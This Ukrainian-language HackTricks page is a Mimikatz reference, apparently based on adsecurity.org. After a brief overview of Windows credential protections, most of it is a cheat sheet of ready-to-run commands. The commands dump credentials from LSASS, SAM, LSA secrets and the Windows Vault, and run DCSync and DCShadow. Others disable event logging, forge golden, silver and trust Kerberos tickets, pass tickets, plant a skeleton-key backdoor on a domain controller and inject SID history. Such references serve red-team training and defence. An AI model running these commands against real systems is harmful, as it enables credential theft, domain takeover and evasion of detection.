Mimikatz
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Deepen your expertise in Mobile Security with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
Ця сторінка основана на одній з adsecurity.org. Перевірте оригінал для отримання додаткової інформації!
З Windows 8.1 та Windows Server 2012 R2 впроваджено значні заходи для захисту від крадіжки облікових даних:
LM хеші та паролі у відкритому тексті більше не зберігаються в пам'яті для підвищення безпеки. Специфічне налаштування реєстру, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential" повинно бути налаштоване з DWORD значенням 0
, щоб вимкнути Digest Authentication, забезпечуючи, що "паролі у відкритому тексті" не кешуються в LSASS.
Захист LSA введено для захисту процесу Local Security Authority (LSA) від несанкціонованого читання пам'яті та ін'єкції коду. Це досягається шляхом позначення LSASS як захищеного процесу. Активація захисту LSA передбачає:
Модифікацію реєстру в HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa, встановивши RunAsPPL
на dword:00000001
.
Впровадження об'єкта групової політики (GPO), який забезпечує цю зміну реєстру на керованих пристроях.
Незважаючи на ці заходи, інструменти, такі як Mimikatz, можуть обійти захист LSA, використовуючи специфічні драйвери, хоча такі дії, ймовірно, будуть зафіксовані в журналах подій.
Адміністратори зазвичай мають SeDebugPrivilege, що дозволяє їм налагоджувати програми. Цю привілегію можна обмежити, щоб запобігти несанкціонованим дампам пам'яті, що є поширеною технікою, яку використовують зловмисники для витягування облікових даних з пам'яті. Однак, навіть з видаленою цією привілегією, обліковий запис TrustedInstaller все ще може виконувати дампи пам'яті, використовуючи налаштовану конфігурацію служби:
Це дозволяє скинути пам'ять lsass.exe
у файл, який потім можна проаналізувати на іншій системі для витягнення облікових даних:
Зловживання журналами подій у Mimikatz включає дві основні дії: очищення журналів подій та патчинг служби подій, щоб запобігти реєстрації нових подій. Нижче наведені команди для виконання цих дій:
Command: Ця дія спрямована на видалення журналів подій, ускладнюючи відстеження злочинних дій.
Mimikatz не надає прямої команди в своїй стандартній документації для очищення журналів подій безпосередньо через командний рядок. Однак маніпуляції з журналами подій зазвичай включають використання системних інструментів або скриптів поза Mimikatz для очищення конкретних журналів (наприклад, використовуючи PowerShell або Windows Event Viewer).
Command: event::drop
Ця експериментальна команда призначена для зміни поведінки служби реєстрації подій, ефективно запобігаючи її реєстрації нових подій.
Example: mimikatz "privilege::debug" "event::drop" exit
Команда privilege::debug
забезпечує, щоб Mimikatz працював з необхідними привілеями для зміни системних служб.
Команда event::drop
потім патчить службу реєстрації подій.
Золотий квиток дозволяє для доменної ідентифікації доступу. Ключова команда та параметри:
Command: kerberos::golden
Parameters:
/domain
: Ім'я домену.
/sid
: Ідентифікатор безпеки (SID) домену.
/user
: Ім'я користувача для ідентифікації.
/krbtgt
: NTLM хеш облікового запису служби KDC домену.
/ptt
: Безпосередньо впроваджує квиток у пам'ять.
/ticket
: Зберігає квиток для подальшого використання.
Example:
Срібні квитки надають доступ до конкретних сервісів. Ключова команда та параметри:
Команда: Схожа на Золотий квиток, але націлена на конкретні сервіси.
Параметри:
/service
: Сервіс, на який націлюється (наприклад, cifs, http).
Інші параметри схожі на Золотий квиток.
Приклад:
Trust Tickets використовуються для доступу до ресурсів між доменами, використовуючи довірчі відносини. Ключова команда та параметри:
Команда: Схожа на Golden Ticket, але для довірчих відносин.
Параметри:
/target
: Повне доменне ім'я цільового домену.
/rc4
: NTLM хеш для довірчого облікового запису.
Приклад:
Список квитків:
Команда: kerberos::list
Перераховує всі квитки Kerberos для поточної сесії користувача.
Передати кеш:
Команда: kerberos::ptc
Впроваджує квитки Kerberos з кеш-файлів.
Приклад: mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit
Передати квиток:
Команда: kerberos::ptt
Дозволяє використовувати квиток Kerberos в іншій сесії.
Приклад: mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit
Очищення квитків:
Команда: kerberos::purge
Очищає всі квитки Kerberos з сесії.
Корисно перед використанням команд маніпуляції квитками, щоб уникнути конфліктів.
DCShadow: Тимчасово змусити машину діяти як DC для маніпуляції об'єктами AD.
mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit
DCSync: Імітувати DC для запиту даних паролів.
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
LSADUMP::LSA: Витягти облікові дані з LSA.
mimikatz "lsadump::lsa /inject" exit
LSADUMP::NetSync: Імітувати DC, використовуючи дані пароля облікового запису комп'ютера.
У оригінальному контексті не надано конкретної команди для NetSync.
LSADUMP::SAM: Доступ до локальної бази даних SAM.
mimikatz "lsadump::sam" exit
LSADUMP::Secrets: Розшифрувати секрети, збережені в реєстрі.
mimikatz "lsadump::secrets" exit
LSADUMP::SetNTLM: Встановити новий NTLM хеш для користувача.
mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit
LSADUMP::Trust: Отримати інформацію про аутентифікацію довіри.
mimikatz "lsadump::trust" exit
MISC::Skeleton: Впровадити бекдор у LSASS на DC.
mimikatz "privilege::debug" "misc::skeleton" exit
PRIVILEGE::Backup: Отримати права резервного копіювання.
mimikatz "privilege::backup" exit
PRIVILEGE::Debug: Отримати привілеї налагодження.
mimikatz "privilege::debug" exit
SEKURLSA::LogonPasswords: Показати облікові дані для користувачів, які увійшли в систему.
mimikatz "sekurlsa::logonpasswords" exit
SEKURLSA::Tickets: Витягти квитки Kerberos з пам'яті.
mimikatz "sekurlsa::tickets /export" exit
SID::add/modify: Змінити SID та SIDHistory.
Додати: mimikatz "sid::add /user:targetUser /sid:newSid" exit
Змінити: У оригінальному контексті не надано конкретної команди для зміни.
TOKEN::Elevate: Імітувати токени.
mimikatz "token::elevate /domainadmin" exit
TS::MultiRDP: Дозволити кілька RDP-сесій.
mimikatz "ts::multirdp" exit
TS::Sessions: Перерахувати сесії TS/RDP.
У оригінальному контексті не надано конкретної команди для TS::Sessions.
Витягти паролі з Windows Vault.
mimikatz "vault::cred /patch" exit
Поглибте свої знання в Мобільній безпеці з 8kSec Academy. Опануйте безпеку iOS та Android через наші курси з самостійним навчанням та отримайте сертифікат:
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)